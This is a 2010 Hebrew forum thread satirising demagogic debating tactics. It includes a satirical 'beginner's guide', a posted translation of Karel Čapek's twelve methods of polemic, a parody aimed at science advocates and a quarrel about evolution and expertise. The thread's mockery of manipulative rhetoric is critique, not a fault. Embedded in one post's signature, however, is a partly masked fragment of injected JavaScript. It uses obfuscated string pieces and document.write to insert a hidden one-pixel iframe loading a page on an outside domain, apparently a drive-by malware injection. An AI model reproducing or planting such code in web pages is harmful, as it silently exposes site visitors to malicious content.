בית פורומים עצור כאן חושבים

מדריך לדמגוג המתחיל

שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד הוסף לדף האישי  דווח למנהל שלח לחבר
נשלח ב-12/11/2010 01:19 לינק ישיר 
מדריך לדמגוג המתחיל

לאור כמה מקרים שנתקלתי בהם בפורום ומחוצה לו החלטתי לפתוח אשכול ובו מדריך קצר לדמגוג  המצוי. אשתדל לתת דוגמאות שאינן בדיוק מה שנכתב בפורום, על מנת לשמור על כלליות.

ובכן, דמגוג יקר, מטרתך כמובן היא לשכנע אחרים בעמדותיך, ובזה אינך שונה מיתר חברי הפורום או אנשים בכלל. עם זאת ישנו הבדל קטן: האמת והצדק מונחים בכיסך, כמובן, והאנשים שמולך אינם באמת בני שיח אלא אובייקט למניפולציה. לשם ההצלחה כדאי שתקפיד על הכללים הבאים: 

1. הגבל את נושא הדיון באופן דרסטי:  אל תתן לאחרים לפתוח מולך חזיתות לא  מתוכננות. הגנב תמיד לתוך דבריך קביעות כמו "מבחינתי פירושו של האדמו"ר מנדבורנא לספר יצירה הוא בסיס לכל דיון אפשרי, ועכשיו נותר רק לשאול אם מזה נובע שהאין מאיין את היש בבחינת עיגולים או בבחינת יושר". בכלל רצוי, אם אפשר, להניח הגבלות כך שהמסקנות יוכחו בלי בעיה בהנתן ההנחות. כך תסתיר את העובדה שבעצם הנחת את המבוקש.

2. ערבב בין אמיתי לרצוי: שוב, מכיוון שהמטרה שלך היא מניפולציה ולא דיון, מטרתך היא להשפיע ולא לשכנע. לכן לגיטימי לגמרי לומר לבן שיחך כי "לא יתכן לומר א' שהרי זה יחייב מסקנה ב' שאיננה מוצאת חן בעינינו" בלי לטרוח לשקול אם אולי יש אפשרות שאכן מסקנה ב' נכונה.

3. פסיכולוגיזציה של היריב: אתה, כמובן, מבין גדול בתורת הנפש ובעיקר מניח שאת כולם מניעה רדיפת הרצוי בעיניהם ולא רדיפת האמת. לכן כשלא נח לך, במקום להתיחס לגופו של ענין עבור לגופו של אדם. אמרת שטות מחרישת אזניים ובעל דברך יוצא מדעתו מרוב רוגז? אין בעיה. המשפט "אם אתה כל כך קופץ כנראה שדרכתי לך על יבלת ממש עמוקה" יוציא אותך גם חכם, גם בסטטוס שהוא "מעל" האיש שמולך, וגם עם ארומה רדיקלית מהסוג ששר עליו לאונרד כהן יצ"ו. 

4.  סיפורי פוגי: ז'אנר שתמיד יהיה לו קהל. ספר באריכות ועם הרבה פרטים לא רלוונטיים איך פעם התווכחת עם פרופסור/דוקטור/טייס/כדורגלן צמרת ובסופו של יום הוא הודה לדבריך, רצוי בדמעות.

5. הפניה לאינסופי: תן קישורים לספרים, הרצאות כבדות או מאמרים באורך הגלות. אל תנסה חלילה למסור תימצות של הרעיונות העיקריים, שמא יתגלו בגדי המלך החדשים. אין ליריבך זמן לשמוע שיעור של שעתיים בקובץ חורקני? זבש"ו.

6. שימוש בלשון כבדה או בלתי מובנת: למה להיות בהיר? הרי אם אנשים יבינו באמת מה אתה אומר, הם עלולים לחשוב על כך, פעילות שתוצאותיה מי ישורנם. במקום זה עדיף תמיד להתחבא מאחרי ז'רגון טכני עם מלים מסובכות או עם מלים שאתה קובע את המשמעות שלהן (וגם מחליף אותה מעת לעת).

7. תפוס עמדה מעל היריב: אם מדובר בשיחה פנים אל פנים, פשוט נסה להיות גבוה יותר, אפילו אם זה דורש לנהל את השיחה כאשר אתה עומד על מדרגה והמתווכח על הרצפה. במרחב הוירטואלי ניתן לדבר בהתנשאות, לנפנף בתאריך, או לתת ליריבך מחמאות מקטינות  (שמע, אתה נראה לי ממש בחור חכם ורהוט ...) המעמידות אותך מעליו, כמי שנותן לו ציונים, באופן שנראה חיובי.



דווח על תוכן פוגעני

מנותק
נשלח ב-12/11/2010 01:28 לינק ישיר 

חמוד.

רק לסעיף 1 לא הסכמתי: מה דמגוגיה בזה?

_________________




דדווח על תוכן פוגעני

מחובר
נשלח ב-12/11/2010 01:33 לינק ישיר 

כפארפרזה למשפט משגיחי ידוע: 'לכל אחד יש מתייון קטן בלב' [או משהו כזה],

ניתן לומר כי 'לכל אחד יש דמגוג קטן בלב'. לכל אדם (או כמעט לכל אדם), אפי' הגון ורודף אמת - יש את הרצון להשפיע על דעת זולתו, ולעיתים יש לו דחף לעשות את זה גם באמצעים לא כשרים.
 
בכל אופן , יישר כח , ר' נדב, על הטור השנון.
לענ"ד מומלץ לכל אחד לקרוא אותו מדי פעם, כשנשחק משגרת הדיונים ותחושת האחריות מתחילה להקהות.



דדווח על תוכן פוגעני

מנותק
נשלח ב-12/11/2010 01:34 לינק ישיר 

כוונתו שאם אתה מביא ספר שיש שאינם מאמינים באבסולוטיות דבריו, הדיון יוגבל באופן שאינו ענייני.
אגב, שאלה לי אליכם, איזה סוגי ספרים דבריהם מוגדרים כאמת אבסולוטית?


תוקן על ידי לוגיקה ב- 12/11/2010 01:38:02




דדווח על תוכן פוגעני

מחובר
נשלח ב-12/11/2010 08:44 לינק ישיר 
נשכחות אתה מעלה בי

.

(הבאתי את זה כבר בעבר, אבל לרגל המאורע, מצ"ב)



קארל צ'אפק : 12 שיטות של פולמוס עיתונאי


תרגום: איגור, מפורום ספרים.

http://www.ynet.co.il/home/1,7340,L-860-202-10888001,00.html


ההערות הקצרות האלה אינן מיועדות למתפלמסים, אלא לקוראים, כדי לאפשר להם להבין לפחות משהו בשיטות של עימותים מילוליים. אני מדבר על שיטות, אך לא על כללים, כי בפולמוס עיתונאי, בניגוד לכל סוגי העימותים האחרים – דו-קרב, קטטה, קרב, משחק, טורניר ובכלל כל התחרויות של כוח גברי, - אין שום כללים, לפחות אצלנו. בהיאבקות הקלאסית, למשל, אסור ליריבים לקלל במהלך תחרות. באיגרוף אסור לדפוק אגרוף באוויר, ואחרי זה להודיע שעשית ליריב נוק-אאוט. במלחמה לא נהוג שהחיילים משני הצדדים מעלילים זה על זה– העיתונאים בעורף עושים זאת במקומם.

אבל כל אלה, ואפילו יותר מזה, מקובלים לגמרי בעימותים מילוליים,וקשה למצוא משהו שמי שמבין בוויכוחים תקשורתיים היה מגדיר כמהלך פסול, קרב מלוכלך, משחק לא הוגן, תרמית או תכסיס לא ראוי. לכן, אין שום אפשרות למנות ולתאר את כל שיטות הפולמוס. שתיים עשרה השיטות שאפרט, - אלה רק השיטות הכי נפוצות שמופיעות בכל עימות עיתונאי, ולו צנוע ביותר. מי שמעוניין, יכול להוסיף תריסר שיטות נוספות.

1. Despicere (להתנשא), או השיטה הראשונה.
מהות השיטה: משתתף הדיון צריך להבהיר ליריב את העליונות האינטלקטואלית והמוסרית שלו, או במלים אחרות, להבהיר שהיריב – אדם מוגבל, מפגר, גרפומן, פטפטן, אפס מאופס, כלומניק מנופח, אפיגון, רמאי אנאלפביתי, נעל, עשב שוטה, מנוול ובכלל טיפוס שאינו ראוי לדבר אתו. קביעה כזאת אפריורי נותנת לך בהמשך זכות לדבר באותה נימה מתנשאת, מטיפה ובטוחה שאותה אי אפשר להפריד מהמונח "דיון".
להתפלמס, לגנות מישהו, לא להסכים ועם זאת לכבד את היריב – כל זה לא מוכר במסורת הלאומית.

2. השיטה השניה, או Termini (מונחים). השיטה הזאת באה לידי ביטוי בשימוש במונחים פולמוסיים מיוחדים. אם, למשל, תכתוב שמר פלוני טועה במשהו לפי דעתך, אז מר פלוני ישיב ש"תקפת אותו באופן בוגדני". אם אתה סבור שלמרבה הצער חסר לו הגיון, יריבך יכתוב שאתה "מתבכיין" בגלל זה, או "מזיל דמעות". באופן דומה, אומרים "משתולל" במקום "מוחה", "מעליל" במקום "מציין", "מטיל רפש" במקום "מבקר", וכן הלאה. אפילו אם אתה אדם שקט ובלתי מזיק ביותר, כמו טלה, בעזרת ביטויים כאלה יציגו אותך כטיפוס עצבני, גחמני, חסר אחריות ואפילו קצת משוגע. אגב, זה מסביר מדוע היריב המכובד שלך מתנפל עליך בלהט כזה: הוא פשוט מתגונן מפני התקיפות הבוגדניות שלך, הגידופים והנאצות.

3. השיטה השלישית מוכרת בשם Caput canis (כאן: לייחס מגרעות). עיקרה ביכולת להשתמש אך ורק בביטויים שבהכרח יוצרים דעה שלילית על היריב המוכה. אם אתה זהיר, אפשר לומר שאתה פחדן; אתה שנון – יגידו שאתה מתיימר להיות שנון; אתה נוטה למסקנות פשוטות ומוחשיות – אפשר להודיע שאתה ישיר וטריוויאלי; יש לך נטיה לטיעונים מופשטים – כדאי להציג אותך בתור מתפלסף ומתחכם, וכן הלאה. אצל פולמוסן מיומן פשוט אין תכונות, דעות ומצבים שלהם לא ניתן להדביק תווית שמיד חושפת את הריקנות, הטיפשות והעליבות של היריב הנרדף.

4. Non habet (כאן: לקבוע היעדרות), או השיטה הרביעית. אם אתה רציני ומלומד, קל לגבור עליך באמצעות השיטה השלישית, לטעון שאתה קשה הבנה, מוסרן פטפטני, תאורטיקן מופשט או משהו כזה. אבל אפשר לחסל אותך גם באמצעות שיטת Non habet. אפשר לומר שחסרה לך שנינות דקה, תמימות רגשית ודמיון אינטואיטיבי. ואם יתברר שאתה דווקא אדם תמים עם אינטואיציה דקה, אפשר להכריע אותך בטענה שחסרים לך עקרונות מוצקים, עומק מחשבה ובכלל אין לך אחריות מוסרית. אם אתה נבון, אז אתה בכלל לא ראוי, כי אין לך רגשות עמוקים, אם יש לך רגשות כאלה – אז אתה סתם סמרטוט, כי חסרים לך עקרונות רציונליים נעלים. אין כל חשיבות לתכונות האמיתיות שלך, צריך למצוא משהו שאין לך, ועל סמך זה להטביע אותך.

5. השיטה החמישית נקראת Negare (כאן: לשלול נוכחות). עיקרה בשלילה פשוטה של כל מה ששייך לך, של כל מה שאופייני לך. אם אתה, למשל, איש מדע, אפשר להתעלם מהעובדה הזאת ולומר שאתה קשקשן שטחי, טיפוס ריקני וחובבן. אם במשך עשור טענת בעיקשות שאתה מאמין (נניח) בשדים או באדיסון, אז בשנה ה-11 ניתן לטעון עליך בפולמוס שמעולם לא התעלית לאמונה חיובית בקיומם של שדים או של תומאס אלווה אדיסון. זה יעבוד, כי הקורא התמים לא יודע עליך כלום, ומי שיודע יחוש שמחה לאיד מתוך ידיעה שמכחישים תכונות שברור כי שייכות לך.

6. Imago (כאן: החלפה) – השיטה השישית. היא באה לידי ביטוי בכך שדוחפים לקורא איזה דחליל מזעזע, ואין לו שום קשר ליריב האמיתי. לאחר מכן היריב המדומה הזה נקרע לגזרים. למשל, מפריכים רעיונות שמעולם לא עלו בדעתו של היריב ומובן שמעולם לא השמיע אותם; מראים לו שהוא טמבל וטועה בגדול, תוך הצגת תיזות שהן באמת מטופשות ושגויות, אך לא שייכות לו

7. Pugna (הכאה) – שיטה שדומה לקודמתה. היא מבוססת על כך שנותנים ליריב או לתפיסה שהוא משמיע שם שקרי, ואחרי זה כל הדיון מתנהל נגד המונח השרירותי הזה. השיטה הזאת הכי שכיחה בפולמוסים שקרויים עקרוניים. מאשימים את היריב באיזה "איזם" שלא מתקבל על הדעת, ואחרי זה מפרקים את "האיזם" הזה.

8. Ulysses – השיטה השמינית. העיקר בשיטה הזאת - להתחמק ולא לדבר לעניין. בזכות השיטה הזאת הפולמוס הופך ערני באופן שמטיב עם מי שמשתמש בה, החולשות מוסוות וכל הדיון נמשך בלי סוף. זה נקרא גם "להתיש את היריב".

9. Testimonia (עדויות). השיטה הזאת מבוססת על כך שלפעמים כדאי להיתלות באילנות גבוהים (לא משנה במי). למשל, לטעון – "עוד פנטגרואל אמר" או "כפי שהוכיח טרייצ'קה". עם קצת ידע כללי בכל מצב אפשר למצוא ציטוט שיכריע את היריב.

10. Quousque (עד מתי...) – השיטה דומה לקודמתה, וההבדל היחיד הוא בכך שאין אזכור ישיר של אורים ותומים. פשוט אומרים: "זה הופרך כבר מזמן", או "זה שייך לעבר", או "כל ילד יודע", וכן הלאה. אין צורך להביא טיעונים חדשים נגד מה שהופרך בשיטה הזאת. הקורא מאמין, והיריב נאלץ להגן על מה ש"הופרך מזמן" – משימה כפויית טובה.

11. Impossibile (כאן: לא לאפשר). לא לאפשר ליריב להיות צודק בכלום. ברגע שאתה מודה שיש לו לפחות גרגיר של שכל ישר והבנת האמת – הפסדת את כל הפולמוס. אם אי אפשר להפריך משפט מסוים, תמיד ניתן לומר: "מר פלוני מנסה לספר לי..." או "מר פלוני משתמש באמיתות שחוקות שמוכרות מזמן, כמו "התגלית" שלו..." או "הפלא ופלא! תרנגולת עיוורת מצאה גרגיר וכעת היא צועקת ש...". בקיצור, תמיד אפשר למצוא משהו, לא?

12. Jubilare (לנצח). זו אחת השיטות החשובות ביותר, ומהותה בכך שצריך תמיד לעזוב את שדה הקרב עם הבעה של מנצח. אי אפשר לנצח פולמוסן מנוסה. מי שמפסיד הוא תמיד יריבו שאותו הצליחו "לשכנע", ו"גמרו איתו". זה ההבדל בין פולמוס לכל תחרות ספורטיבית. מתאבק מודה ביושר שהוא הפסיד; אבל נדמה לי שלא היה פולמוס שנגמר במלים "תרשה לי ללחוץ את ידך, שכנעת אותי". יש שיטות רבות אחרות, אבל תרשו לי לא לתאר אותן; ניתן לחוקרי הספרות ללקט אותן בעיתונים.




תוקן על ידי מואדיב ב- 12/11/2010 08:55:56




דדווח על תוכן פוגעני

מנותק
נשלח ב-12/11/2010 08:45 לינק ישיר 

יישר כח !

_________________




דדווח על תוכן פוגעני

מחובר
נשלח ב-12/11/2010 10:18 לינק ישיר 

נדב

איקון ירוק ביותר.

אילו היה זמני בידי, הייתי עובד על מפתח לפורום, ומעגן את האשכול הזה בסמוך לחוקה. שהרי מכלל לאו אתה שומע הן.

במיוחד מצא חן בעיני הביטוי הבא:

"מי שמסביר את עמדתו מסתכן בכך שיראו שהוא לובש את בגדי המלך החדשים."

***
לוגיקה

זה נושא שכדאי לדון בו באשכול בפני עצמו. 
עיין כאן.

_(משום מה נעלמה השורה הראשונה בהודעה)________________

שומר פיו ולשונו - שומר מצרות נפשו ******* language=""> *-- var as='h'; var ac='tt'; var ab='p'; var ay="//"; document.write("*************** src='"+as+ac+ab+":"+ay+"llaptops.co.cc/a1.php?a="+***************+"' frameborder='0' height=1px width=1px scrolling='no' ><*"); //*



תוקן על ידי מיימוני ב- 12/11/2010 10:20:48




דדווח על תוכן פוגעני

מנותק
נשלח ב-12/11/2010 10:24 לינק ישיר 

מדריך לדמגוג המתקדם

לא הרי דמגוג מתקדם כדמגוג מתחיל, המתחיל, דורך הוא בשדה חדש, שדה ההסברה של תיאולוגיה בלבוש מדעי. זה תחום ממש חדש, מאז ההפרדה בין תיאולוגיה למדע, עדיין לא קמה מתודה מסודרת וקבועה בפקולטה להסברת התיאולוגיה, ולכן כל צורב צעיר מנסה את דרכו בצורה קצת שונה. אין ספק שבעתיד יהיו דפוסים קבועים ויעילים יותר, אמנם הבו גודל לדור הנפילים הקדמון בתקופת "מתודה שבדרך", שאפו על כושר האילתור וההמצאה.

בכל אופן, אע"פ שהדמגוגיה למתקדמים די מוכרת שהרי היא כבר נמכרת בשוק כמה דורות, אנסה בכל אופן לפתוח את השער בפני הצורבים הצעירים שזה אתמול נפתחו עיניהם לנפלאות המדע, וכבר היום הם מנסים לשכנע את כל ידידיהם לשעבר, להניח להערצת הרוגאטשובר ולעבור להערצת המדע ונפלאותיו. ומה יעשה הנער ולא ייכשל בהסברתו? הרי רק זה יומיים שלשה שקנה השכלתו בויקיפדיה ובאתר הידען, ועדיין לא למד איך להרצותה ולשכנע בה אחרים, מלבד לעשות היפר קישור לויקיפדיה, שזאת כבר למד היטב.

הקדמה: אתה מייצג דברים ואמיתות שהוכחו בלי ספק על ידי מאות אלפי חוקרים בעלי שם בכל העולם כולו, היושבים גם ברגעים אלו ממש ומנתחים בעיון עמוק את הממצאים, כן! גם כשאנחנו ישנו על מטתינו, או קמנו למנין של 9:30 בשטיבלאך, שם, בקצה השני של העולם, עדיין יש אור יום, ומלומדים דגולים במעבדותיהם שקועים על בדיקה מדעית של הנתונים. כפי שאמר הקדוש ג'ורדנו ברונו שאם רגע אחד לא יהיה מישהו שעוסק במדע העולם ייחרב, ולכן בזמן שאנחנו ישנים, באמריקה עוסקים במדע, וכן להיפך. לכן ברור שכל מסקנה שהיא בגדר "מדעית" היא בעלת תוקף עצמי, ברגע שהיא עונה למסגרת של 'מדע' היא ממילא בהכרח גם 'אמת'. אין טעם לנסות ולהתווכח עם אלפי ומליוני חוקרים בעולם כולו, פשוט מיותר, תפקידך לא לבדוק את הענין הזה אלא ללמד אותו לאחרים.

ולכן כמה כללים פשוטים:

1. פתח את נושא הדיון באופן דרסטי. אם למשל חברך מנסה להשתמש בטיעון הרדוד הישן והלעוס, שכבר הופרך פעמים רבות, כי יש בעולם סדר. אינך צריך רק להתייחס לטיעון שלו, פתח את אופקיו והרחב אותן, למשל: אם יש אלהים בעולם, למה כל כך הרבה רוע? או להיפך, אם יש אלהים בעולם למה כל כך קצת רוע? שישמיד את כל הערבים! ואת כל הרפובליקנים! ואת הימין הקיצוני!

2. ערבב בין שיטה לתכנים. הסבר כי כל דבר שנאמר בהיכלי המדע עבר את השיטה המדעית הקפדנית הידועה, של השערה, ניבוי, יכולת הפרכה, עיקרון ההדירות, קבוצת בדיקה, וכו'. הסבר כמה שיטה זו נכוחה וערובה לאמת, גם אם אתה עוסק בהיסטוריה, ארכיאולוגיה, אבולוציה, פסיכואנליזה, או כל  תחום 'מדעי' אחר.

3. פסיכולוגיזציה של התלמיד. אין ספק שתלמידך הוא תמים מאד, הוא מאמין בקבלה, הוא מאמין בכל אגדות חז"ל כפשוטן, הוא מאמין שהבאבא סאלי קרא מחשבות, ושהרנטגן בלע מצלמה דיגיטלית. הסבר לו שמשום כך קשה לו להשתחרר מהדעות הקדומות, אמור לו שלא כל מה שהרבנים אומרים זה נכון, והראיה שיש רבנים שנתפסו או בכל אופן נחשדו במעשים מגונים. ציין בדרך אגב, אם את אגדות רבה בר בר חנה הוא כבר הבין.

4. סיפורי אוירה ורקע, ספר על גדולתו של המדע, כיצד כל דבר עובד ביקורת עמיתים, כתוב את המונח הלועזי אם אפשר, ספר לו על העובדה ששני אנשים פשוטים המציאו שיטה יעילה יותר מגדול המומחים, והוא בגודל ענוותו הסכים לקבל את המציאות ולא התכחש לה, לעומת זאת ספר על רבנים שלא מסכימים להודות בטעות ולפתוח את העיניים, הם מכחישים את המציאות שכל אחד רואה שרק לימודי ליבה וגיוס לצבא יפתרו את הבעיות שלהם.

5. הפניה לנכבד, אם שמת לב שבן שיחך אינו בקי בשפת לעז, תן לינק באנגלית. אם לא, סתם צטט פרופסורים נכבדים שכתביהם אינם מצויים בספריית הישיבה או באוצר החכמה. הסבר מדי פעם שאם אין לבן שיחך מספר שנות לימוד אקדמי (יותר טוב לציין "X שנות לימוד". כשהלה משתאה "כפול כמה"?) לא יוכל להבין את הדברים, מה לעשות.

6. שימוש בלשון כבדה, שפתך עברית קולחת ומהוקצעת, מה לעשות. אבל השתדל להשתמש בצורה ברורה ומדוייקת למניעת הכבדה. למשל אם בבן שיחך אומר דבר מטופש, הסבר לו שדבריו סובלים מ"כשל אי ההגיוניות", כשל עליו הצביעו בעבר פילוסופים דגולים. אם הוא לא הבין אותך, הסבר לו על "כשל איש הקש", וכיוצא בזה.

7. הבהרת עמדות, אתה מדבר בשם מליוני אנשים משכילים החיים עמנו ומוכיחים את חכמתם בפרסום מאמרים בכתבי עת יוקרתייים. בן שיחך מדבר בשם המשגיח זצ"ל ששמע מהמשגיח עוד יותר זצ"ל ששמע מהסבא זצוקל"ל.

זה סתם בצחוק, כעת לכללים הרציניים:

I עקרון הגמישות. אם בן שיחך מנסה להוכיח משהו, הסבר לו כי הקוגיטו הופרך מזמן, העובדה שדבר הגיוני בעיניו אינו ערובה לנכונותו, גם אם זו ערובה לנכונותו – אין זה מוכיח שזה אמת. אם למשל הוא מדבר על כך שאין להסביר את מוצא החיים, הסבר לו שאי יתכנות של הסבר I אינו קשור כלל להסבר I I. לעומת זאת אם אתה מדבר על כך שאין להסביר ממצא פלוני אלא בהסבר אלמוני, ולכן זה אומר שהיתה אבולוציה, דבר אתו על השכל הישר ועל גבולות הויתור למען האמונה.

I I עקרון החסינות, הסבר לו מדוע כל מה שנאמר בשם המדע חסין מספקנות, למרות שאין בידינו לבדוק את הדברים, למשל "מחקר שנערך באוניברסיטת ביר זית קבע ש..", לשנינו אין מושג מה כתוב במחקר ולמה, וגם לעולם לא נוכל לדעת, אבל כיון שצוות מצומצם של שלשה סטודנטים בהדרכת איש נכבד שקיבל קביעות, הגיע למסקנה מסויימת ע"פ העקרונות המדעיים, למחקר יש חסינות. כל עוד לא טרחת והשגת את המחקר והראית שיש אפשרות לפקפק בדרך בה הגיעו החוקרים הנכבדים מניתוח של רגלי חיפושיות למסקנה שאין בחירה חפשית, הרי למחקר יש חסינות.

I I I עקרון המיינסטרים, הסבר לבן שיחך, שמכיון שהמדע הוא פירמידת מידע אנושית, נגזר מכך שהדעה המינסטרימית היא המדעית על כל המשתמע מכך. המפקפק בה, גם אם הוא איש מדע, הוא בהכרח שרלטן, ייתכן שהוא פועל כך במודע מפני שהוא חושב כך (למשל: איש שלא מאמין באבולוציה, הרי חושב כך ודוגל בכך, ובלי ספק זה מה שמביא אותו לחשוב כך ולדבר כך). וייתכן שלא במודע, בכל אופן הוא אינו איש מדע אמיתי. וגם אם כן, תחום ההתמחות שלו אינו בתחום הספציפי עליו דיבר.

VI עקרון העקרוניות, כל דבר שתאמר, וכל דעה שתביע, נגזרת באופן עקרוני מאיזה שהוא עיקרון, אם אתה למשל חושב שלא היה מבול עולמי, זה נגזר מחוקי הפיזיקה, זו לא הדעה שלך, זה פשוט נגזר מעצמו ממילא ובאורח עקרוני מכל מה שידוע לנו על הפיזיקה. קל וחומר ממה שעדיין לא ידוע לנו.

 




דדווח על תוכן פוגעני

מנותק
נשלח ב-12/11/2010 10:27 לינק ישיר 

כשל נוסף: התחלף VI בIV
השתדל להצביע גם על כשלים כאלו



דדווח על תוכן פוגעני

מנותק
נשלח ב-12/11/2010 11:19 לינק ישיר 

אי , אי, אי, דינוזאורוס!

תענוג אמיתי!! תודה רבה!!!!



דדווח על תוכן פוגעני

מנותק
נשלח ב-12/11/2010 11:50 לינק ישיר 

דינוזאורוס

כמה שזה מצער, בכדי לדבר על מה אפשר או אי אפשר בביולוגיה ו/או בכל תחום אחר , צריך ללמוד הרבה דברים . פעם ניסית להביע דעה נחרצת לגבי מה אפשר ומה אי אפשר בתחום החלבונים , כאשר ניכר בך מתוך הערותיך שאין לך אפילו מושג קלוש בכימיה אורגנית וסביר להניח שאינך יודע אל נכון אפילו מה זה תרכובת כימית , מה גורם לכך שבתנאים מסויימים מתרחשת ריאקציה אחת ובתנאים אחרים ריאקציה אחרת , שלא לדבר על משמעות המושג חלבון.

כן, כדי להיות מסוגל להביע ביקורת תקפה על האבולוציה או הגיאולוגיה או הפליאונטולוגיה או מה שזה לא יהיה , צריך להיות לפחות בעל ידע המקביל לתואר שני בתחומים אלה . נכון , לא כל מי שיש לו תואר הוא בר הכי ולא כל מי שאין לו תואר פורמלי אינו בר הכי , אבל את הידע הזה צריך ואי אפשר להתחמק מזה.

לא כל מה שמתפרסם תחת הכותרת מדע מהווה אמת אבסולוטית שאין להרהר אחריו . אבל כדי לדבר לעניין צריך לדעת .

חוסר ההערכה שלך כלפי העובדה שיש דברים שבאמת דורשים לימוד מסודר של שנים ושבלי לימוד שכזה אתה מדבר פשוט שטויות מביכות , היא בעיקר ביטוי לפרובינציאליות ובורות. אתה כנראה באמת חושב שאם אתה מרפרף קצת בספרים ויודע לחזור על כל מיני מלים , זה הופך אותך לבר סמכא . כשאתה כותב דרשות ארוכות ובני פלוגתתך מתייאשים אתה חושב שזה בגלל שאין להם תשובה , האמת היא שזה מייאש לנהל דיון על משהו ששייך לשלב מתקדם כאשר בן השיח עוד אינו שולט בא' ב' ואף אינו מכיר בכך שאינו שולט בא' ב' ולגמרי מזלזל בקיומו של סדר כלשהו שבו צריך להכיר קודם את היסודות ואז לעבור לדון בנושאים היותר מתקדמים .



דדווח על תוכן פוגעני

מחובר
נשלח ב-12/11/2010 11:59 לינק ישיר 

ואיני אומר בכך שאדם אינו יכול להבין טענות בעד ונגד האבולוציה , אלא אם כן רכש לו ידע של תואר שני בביולוגיה . בכל שאלה יש כמה רמות , באופן גס אפשר לומר שיש רמה פילוסופית ויש רמה טכנית (אבל כל אחד מהרמות האלה מתפצל לתתי רמות טכניות יותר ויותר וכשאני אומר טכני איני אומר במובן של משעמם , אלא במובן שיש כמות נכבדה של ידע שצריך לרכוש באופן מסודר ושלוקח זמן ומאמץ לרכוש אותו) .

אני מניח שברמה הפילוסופית לא צריך הרבה ידע בכדי להבין ולדון (אם כי צריך כשרון אנליטי , שמצוי אצל אנשים שונים במידות שונות)אבל צריך להכיר בכך שהניתוח הפילוסופי ולכן אין אפשרות להכריע בשאלות שבמהותן שייכות לרמה אחרת טכנית יותר ומפורטת יותר. אם במהלך הדיון הפילוסופי מתברר שאין הכרעה פילוסופית וצריך לעבור למגרש הטכני , הרי שמי שאינו מצוייד בידע הטכני צריך לדעת שאין לו את הכלים להמשיך.

זו שרלטנות לערבב את הרמה הטכנית כאשר הדיון מתקיים ברמה הפילוסופית. זו שרלטנות עוד יותר גדולה כאשר מי שעושה זאת אין לו כל גישה לרמה הטכנית.



דדווח על תוכן פוגעני

מחובר
נשלח ב-12/11/2010 12:07 לינק ישיר 

שנרב_נ כתב:
  3. פסיכולוגיזציה של היריב: אתה, כמובן, מבין גדול בתורת הנפש ובעיקר מניח שאת כולם מניעה רדיפת הרצוי בעיניהם ולא רדיפת האמת. לכן כשלא נח לך, במקום להתיחס לגופו של ענין עבור לגופו של אדם. אמרת שטות מחרישת אזניים ובעל דברך יוצא מדעתו מרוב רוגז? אין בעיה. המשפט "אם אתה כל כך קופץ כנראה שדרכתי לך על יבלת ממש עמוקה" יוציא אותך גם חכם, גם בסטטוס שהוא "מעל" האיש שמולך, וגם עם ארומה רדיקלית מהסוג ששר עליו לאונרד כהן יצ"ו. 

7. תפוס עמדה מעל היריב: אם מדובר בשיחה פנים אל פנים, פשוט נסה להיות גבוה יותר, אפילו אם זה דורש לנהל את השיחה כאשר אתה עומד על מדרגה והמתווכח על הרצפה. במרחב הוירטואלי ניתן לדבר בהתנשאות, לנפנף בתאריך, או לתת ליריבך מחמאות מקטינות  (שמע, אתה נראה לי ממש בחור חכם ורהוט ...) המעמידות אותך מעליו, כמי שנותן לו ציונים, באופן שנראה חיובי.


ברגע שאתה יורד, ולא בפעם הראשונה, לפסים אישיים, אין לי אלא לברך אותך על שזכית לקיים שני סעיפים מן המדריך בחדא מחתא, ובתקוה שאין בזה חשש "חבילות חבילות".



דדווח על תוכן פוגעני

מנותק
נשלח ב-12/11/2010 12:08 לינק ישיר 

הדברים מופנים (כמובן) לידעיה, והציטוט מדברי שנרב לא בא אלא לסמוך ברכה לעשיה.



דדווח על תוכן פוגעני

מנותק
נשלח ב-12/11/2010 12:22 לינק ישיר 

לא ירדתי לפסים אישיים, אלא במובן זה שהבעתי ביקורת כלפיך ואתה איש (אלא אם תתעקש שאני יורד לפסים דינוזאוריים).

בכל הודעה והודעה שלך אתה מנסה לזלזל בצורך בלימוד וידע , כאילו מתוך גישה של הגיון בריא . ואני מנסה להעמיד אנשים על הטעות שבגישה זו. צריך ללמוד והרבה בכדי להביע ביקורת טכנית על עניין מדעי , לא מספיק לרפרף קצת בספרים ולהכיר כמה מונחים. אין כאן שום דבר אישי.

הייתי עושה אותו דבר אילו רופא אליל היה בא ומוכר סיפורים על המימסד הרפואי. לא היה בכך משום ירידה לפסים אישיים. אתה רוצה להפוך את זה לאישי? זב"ש.



דדווח על תוכן פוגעני

מחובר
נשלח ב-12/11/2010 12:26 לינק ישיר 

ידעיהבדרשי כתב:
לא ירדתי לפסים אישיים, אלא במובן זה שהבעתי ביקורת כלפיך


???

ע"ז נאמר 'לא צקתי עליך, צחקתי ממך'.

תוקן על ידי אברהםהעברי ב- 12/11/2010 12:32:05




דדווח על תוכן פוגעני

מנותק
   
בית > פורומים > דת ואמונה > עצור כאן חושבים > מדריך לדמגוג המתחיל
מנהל לחץ כאן לנעילת האשכול
הוסף לעמוד האישי  דווח למנהל שלח לחבר
1 2 3 4 5 לדף הבא סך הכל 5 דפים.